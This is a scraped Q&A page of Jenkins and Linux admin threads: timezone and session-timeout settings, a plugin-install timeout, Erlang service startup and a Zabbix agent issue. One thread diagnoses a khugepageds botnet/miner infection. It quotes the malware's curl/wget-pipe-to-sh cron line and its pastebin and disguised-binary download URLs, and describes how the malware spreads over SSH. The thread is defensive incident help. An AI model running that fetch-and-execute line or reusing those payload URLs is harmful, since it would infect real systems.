I am running Jenkins on a Linux server and shows the wrong time :(
Situation:
I am running another java app (in tomcat that also runs Jenkins) that shows the correct time in the log files (I use Logback through slf4j).
The bios is set to the UTC time (system clock) like advises here: http://www.linuxsa.org.au/tips/time.html
In Linux it's indicated in /etc/sysconfig/clock that the system clock is set to UTC and in which timezone we are located. I am in UTC+1
Running date command on Linux shows the correct local time. Example:
Sun Jan 8 12:11:35 CET 2012
But Jenkins shows the time plus 1 hour :(...
The jenkins config shows:
user.timezone = Europe/Amsterdam (which is UTC+1).
I think that Jenkins (java) thinks the local clock is set to UTC such that 1 hour is added.
How do I solve this?
If you are running Jenkins with Docker, you can append -e JAVA_OPTS=-Duser.timezone=TZ to docker arguments.
docker run -e JAVA_OPTS=-Duser.timezone=$TZ jenkins
All available TZ can be found here.
See here: https://wiki.jenkins-ci.org/display/JENKINS/Change+time+zone
In short, you can set the system property, either modifying the JVM options,
java -Dorg.apache.commons.jelly.tags.fmt.timeZone=TZ ...
Or changing Jenkins configuration in /etc/default/jenkins (Debian) or /etc/sysconfig/jenkins (Red Hat):
JAVA_ARGS="-Dorg.apache.commons.jelly.tags.fmt.timeZone=America/New_York"
It also mentioned -Duser.timezone="..." is an option, but can cause problems / interfere with other contexts (some vague hand-waving & caveats: time travel is always unpredictable).
In general (in my experience), don't change the system time, since us, our servers & our data live in a global world & should be handling, sending, comparing all times in UTC until the latest possible moment: usually that's the GUI (presentation layer) just before being displayed (...if even then). (Our build system results actually produces data that is fed into another system in another time zone.)
On Jenkins 2.63 on Ubuntu 14.04.5 LTS setting
JAVA_ARGS="-Djava.awt.headless=true -Duser.timezone=America/Los_Angeles"
in /etc/default/jenkins and then doing
sudo service jenkins stop
sudo service jenkins start
worked for me to change the timezone from UTC to PDT.
Put this in a Dockerfile and it will work;
RUN echo "import hudson.model.*;" >
/var/jenkins_home/init.groovy.d/timezone.groovy && \
echo "import jenkins.model.*;" >>
/var/jenkins_home/init.groovy.d/timezone.groovy && \
echo "System.setProperty('org.apache.commons.jelly.tags.fmt.timeZone',
'America/Denver')" >> /var/jenkins_home/init.groovy.d/timezone.groovy
$JENKINS_HOME/init.groovy.d/*.groovy will get executed at start up.
System.setProperty('org.apache.commons.jelly.tags.fmt.timeZone',
'America/Denver')
That sets the timezone.
For official Jenkins Docker image (lts:2.138.1), you should set Jenkins java options to your local TZ. You can use this env. variable in a docker run command or docker-compose as well.
See here: https://wiki.jenkins.io/display/JENKINS/Change+time+zone
JENKINS_JAVA_OPTIONS="-Duser.timezone=Europe/Paris"
In case you have additional slaves you can sync the clock by using ntp. On Linux you can run following commands for each slave:
sudo systemctl stop ntp
sudo ntpdate -qu 0.debian.pool.ntp.org
sudo systemctl restart ntp
sudo systemctl status ntp
The easiest way without restarting Jenkins:
Open "Manage Jenkins" -> "Script Console"
Run the script:
System.setProperty('org.apache.commons.jelly.tags.fmt.timeZone', 'America/New_York')
Related
I try to install an old version of Jenkins (2.346.3 downloaded here ) because i need a java 8 compatible Jenkins.
Everything goes well while this screen :
I clic on Install suggested plugins and few seconds later I have this message :
With a standard installation there is the solution to increase the value of pluginManagerErrorTimeoutMillis in the file pluginSetupWizard.js as explained here
But with my installation the file pluginSetupWizard.js is minified and not in the /var/lib/jenkins directory.
So I tried to modify the files
/var/cache/jenkins/war/jsbundles/plugin-manager-ui.js.map
/var/cache/jenkins/war/jsbundles/pluginSetupWizard.js.map
Because they contain the variable pluginManagerErrorTimeoutMillis
then I do
systemctl daemon-reload
systemctl stop jenkins
systemctl start jenkins
but it does not work
I am currently stuck so do you know how can I increase this timeout in order to finish the jenkins installation ?
EDIT
So I found the solution :
I change the value in
/var/cache/jenkins/war/jsbundles/plugin-manager-ui.js
o=1e4 to o=1e6
and it works.
But I think this value should be increased by default in Jenkins.
So the picture above shows a command khugepageds that is using 98 to 100 % of CPU at times.
I tried finding how does jenkins use this command or what to do about it but was not successful.
I did the following
pkill jenkins
service jenkins stop
service jenkins start
When i pkill ofcourse the usage goes down but once restart its back up again.
Anyone had this issue before?
So, we just had this happen to us. As per the other answers, and some digging of our own, we were able to kill to process (and keep it killed) by running the following command...
rm -rf /tmp/*; crontab -r -u jenkins; kill -9 PID_OF_khugepageds; crontab -r -u jenkins; rm -rf /tmp/*; reboot -h now;
Make sure to replace PID_OF_khugepageds with the PID on your machine. It will also clear the crontab entry. Run this all as one command so that the process won't resurrect itself. The machine will reboot per the last command.
NOTE: While the command above should kill the process, you will probably want to roll/regenerate your SSH keys (on the Jenkins machine, BitBucket/GitHub etc., and any other machines that Jenkins had access to) and perhaps even spin up a new Jenkins instance (if you have that option).
Yes, we were also hit by this vulnerability, thanks to pittss's we were able to detect a bit more about that.
You should check the /var/logs/syslogs for the curl pastebin script which seems to start a corn process on the system, it will try to again escalated access to /tmp folder and install unwanted packages/script.
You should remove everything from the /tmp folder, stop jenkins, check cron process and remove the ones that seem suspicious, restart the VM.
Since the above vulnerability adds unwanted executable at /tmp foler and it tries to access the VM via ssh.
This vulnerability also added a cron process on your system beware to remove that as well.
Also check the ~/.ssh folder for known_hosts and authorized_keys for any suspicious ssh public keys. The attacker can add their ssh keys to get access to your system.
Hope this helps.
This is a Confluence vulnerability https://nvd.nist.gov/vuln/detail/CVE-2019-3396 published on 25 Mar 2019. It allows remote attackers to achieve path traversal and remote code execution on a Confluence Server or Data Center instance via server-side template injection.
Possible solution
Do not run Confluence as root!
Stop botnet agent: kill -9 $(cat /tmp/.X11unix); killall -9 khugepageds
Stop Confluence: <confluence_home>/app/bin/stop-confluence.sh
Remove broken crontab: crontab -u <confluence_user> -r
Plug the hole by blocking access to vulnerable path /rest/tinymce/1/macro/preview in frontend server; for nginx it is something like this:
location /rest/tinymce/1/macro/preview {
return 403;
}
Restart Confluence.
The exploit
Contains two parts: shell script from https://pastebin.com/raw/xmxHzu5P and x86_64 Linux binary from http://sowcar.com/t6/696/1554470365x2890174166.jpg
The script first kills all other known trojan/viruses/botnet agents, downloads and spawns the binary from /tmp/kerberods and iterates through /root/.ssh/known_hosts trying to spread itself to nearby machines.
The binary of size 3395072 and date Apr 5 16:19 is packed with the LSD executable packer (http://lsd.dg.com). I haven't still examined what it does. Looks like a botnet controller.
it seem like vulnerability. try look syslog (/var/log/syslog, not jenkinks log) about like this: CRON (jenkins) CMD ((curl -fsSL https://pastebin.com/raw/***||wget -q -O- https://pastebin.com/raw/***)|sh).
If that, try stop jenkins, clear /tmp dir and kill all pids started with jenkins user.
After if cpu usage down, try update to last tls version of jenkins. Next after start jenkins update all plugins in jenkins.
A solution that works, because the cron file just gets recreated is to empty jenkins' cronfile, I also changed the ownership, and also made the file immutable.
This finally stopped this process from kicking in..
In my case this was making builds fail randomly with the following error:
Maven JVM terminated unexpectedly with exit code 137
It took me a while to pay due attention to the Khugepageds process, since every place I read about this error the given solution was to increase memory.
Problem was solved with #HeffZilla solution.
I have a server written in Erlang, compiled with Rebar, and I make a release with Relx. Starts nicely with
/root/rel/share3/bin/share3 start
The next step is to start when the server boots.
I have tried different approaches, the last one is using the /etc/init.d/skeleton where I changed the following
NAME=share3
DAEMON=/root/rel/share3/bin/share3
DAEMON_ARGS="$1"
After that, I run update-rc.d, but I have not gotten it too work. (Ubuntu 14.04)
The service runs until the machine reboots, and I need to login and start it again.
For Windows, it is really elegant, since it can create the Windows service.
Ubuntu uses upstart as init system, so you could try something like that:
description "Start my awesome service"
start on runlevel [2345]
stop on runlevel [!2345]
respawn
exec /root/rel/share3/bin/share3
You have to place this script in /etc/init/ directory with '.conf' extension like '/etc/init/share3.coinf'. To start it invoke sudo start share3.
At last, I solved it!
I have told to relx to place the result at /home/mattias/rel. The script from relx is /home/mattias/rel/share3/bin/share3
Replace the row
SCRIPT_DIR="$(dirname "$0")"
by (you need to fix the path /home/mattias/rel)
HOME=/home/mattias
export HOME
SCRIPT_DIR="/home/mattias/rel/share3/bin"
Copy the file to /etc/init.d/share3 using
sudo cp ~/rel/share3/bin/share3 /etc/init.d/
Test that it works using
/etc/init.d/share3 start
and
/etc/init.d/share3 stop
In order to make it start at boot, install sysv-rc-conf
sudo apt-get install sysv-rc-conf
Enable boot at start using
sudo sysv-rc-conf share3 on
and disable
sudo sysv-rc-conf share3 off
Alternatives are welcome.
Does anyone know how to increase the the timeout window before Jenkins logs out a user? I'm looking to raise it to 1 day or so.
I work in and out jenkins all day and we keep getting logged out between running of jobs. Added to this frustration, the 'stay logged in' checkbox doesn't seem to work either.
Jenkins uses Jetty, and Jetty's default timeout is 30 minutes. This is independent of authentication settings -- I use Active Directory but it's still this setting that affects timeouts.
You can override the timeout by passing an argument --sessionTimeout=<minutes> to the Jenkins init script, or -DsessionTimeout=<minutes> to the .war file. For example:
# Set the session timeout to 1 week
$ java -jar jenkins.war --sessionTimeout=10080
Alternatively, you can edit Jenkins' <jenkinsHome>/.jenkins/war/WEB-INF/web.xml and add explicitly set it:
<session-config>
<!-- one hour -->
<session-timeout>60</session-timeout>
</session-config>
According to Oracle's docs you can set this to 0 to disable timeouts altogether.
To find out the current value for timeouts, you can use the Groovy console provided in Jenkins:
import org.kohsuke.stapler.Stapler;
Stapler.getCurrentRequest().getSession().getMaxInactiveInterval() / 60
On my instance, this shows Result: 30.
As of Jenkins version 2.107.2 you'll want to include sessionEviction
For example to keep people logged in for 24 hours and 12 hours of inactivity:
--sessionTimeout=1440 --sessionEviction=43200
If you don't specify sessionEviction people who close the tab will get logged out after 30 minutes.
For Ubuntu:
nano /etc/default/jenkins
Append to JENKINS_ARGS at the end of the file:
JENKINS_ARGS="--webroot=/var/cache/$NAME/war --httpPort=$HTTP_PORT --sessionTimeout=1440 --sessionEviction=43200"
As of 1.528 you can use the --sessionTimeout <minutes> parameter when starting up jenkins via an init script. If starting the war, pass in -DsessionTimeout=<minutes>
Update for 1.6
If passing in as an arg use --sessionTimeout=<minutes>
it also seems possible to set it using groovy console:
import org.kohsuke.stapler.Stapler;
Stapler.getCurrentRequest().getSession().setMaxInactiveInterval(TIME_IN_SECONDS)
But I guess it will only be available for current session
On my Linux distro, this setting can be added to /etc/sysconfig/jenkins
# Pass arbitrary arguments to Jenkins.
# Full option list: java -jar jenkins.war --help
#
JENKINS_ARGS="--sessionTimeout=480"
Subsequently, restart with
sudo /etc/init.d/jenkins restart
This version of Jenkins 1.567 also has the enable auto refresh option so it somehow keeps refreshing the session and I never get logged out. It works for me...
If Jenkins is running as a Windows service (jenkins.exe), parameters can be edited in jenkins.xml in the installation directory.
Working with Jenkins 2.2x on Windows Server as a windows service the setting
--sessionTimeout=1440 --sessionEviction=43200
can be added here
<arguments>... -Dhudson.lifecycle=hudson.lifecycle.WindowsServiceLifecycle -jar "%BASE%\jenkins.war" ... --sessionTimeout=1440 --sessionEviction=43200</arguments>
located in file jenkins.xml in the Jenkins folder, which for me was:
C:\Program Files\Jenkins on Windows Server 2012.
C:\Program Files (x86)\Jenkins on Windows Server 2008 R2
Restart the service for the change to take effect.
After dealing with this for a couple hours and making sense of everything said here this is what I did to solve the issue:
Log as sudo user
cd /var/cache/jenkins/war/WEB-INF/
vi web.xml
Type "i" to go to insert mode
Go down until you find <Session-Config> and type as screenshot
Hit Esc
Type :wd to save your changes
sudo systemctl restart jenkins
Screenshot:
For anyone on CentOS, web.xml will likely be in /var/lib/jenkins/%C/jenkins/war/WEB-INF/. In web.xml, you can add the session timeout and eviction settings to the session config like so:
<session-config>
<session-timeout>480</session-timeout>
<session-eviction>12600</session-eviction>
</session-config>
Leaving this here for anyone who struggled to find that file like I did.
thanks for viewing this question!
I use zabbix to monitor my servers;
There are totally 15 servers;
But one of the agentd not work for UserParameter when the one is on the same machine with the zabbix server proccess
The architecture is like below:
As you see in the picture, the zabbix agentd which is deploy on the same machine with the server, not work well of the UserParameter configuration
the config code I added is like below
UserParameter=mongo.queue[*],/home/admin/tool/queue_monitor.sh $1 | awk '{if($$2 ~ /^[0-9]+/){print $$2}}'
UserParameter=mongo.status[*],/home/admin/tool/mongo-serverStatus.sh $1 | awk '{if($$1 ~ /^[0-9]+/){ print $$1}}'
It is absolutely the same as other agentds's config...
Then I test it with:
zabbix_agentd -t mongo.queue[delayQueue]
It response :
mongo.queue[delayQueue] [m|ZBX_NOTSUPPORTED]
This test run well on the other agentds machine, and will reply a integer number...
zabbix_agentd -t mongo.queue[delayQueue]
mongo.queue[delayQueue] [t|0]
So is it that I should not deploy zabbix agentd on the same machine with the zabbix server?
But that agentd work well on its original tools, such as CPU LOADS, Disk space...
My zabbix version is v2.0.3
./zabbix_agentd -V
Zabbix Agent (daemon) v2.0.3 (revision 30485) (03 October 2012)
Compilation time: Dec 5 2012 17:11:46
You are trying to guess what the problem is. Look at the agent's log, for execs (scripts) the answer is most probably there. If it isn't, disable the passive monitoring of this agent, enable full debug output (DebugLevel=4), then run the zabbix_get of the param and look again at the log. If it's still not there, then strace is your friend.
Finally I found it was a humman error that my workmate had installed another zabbix_agentd on the server, so there's two zabbix agentds on it.
Although I start the agentd process with -c parameter, but when I used -t to test the user parameters , the config file was default link to another file, so that the user parameters I config in the file dose not effect...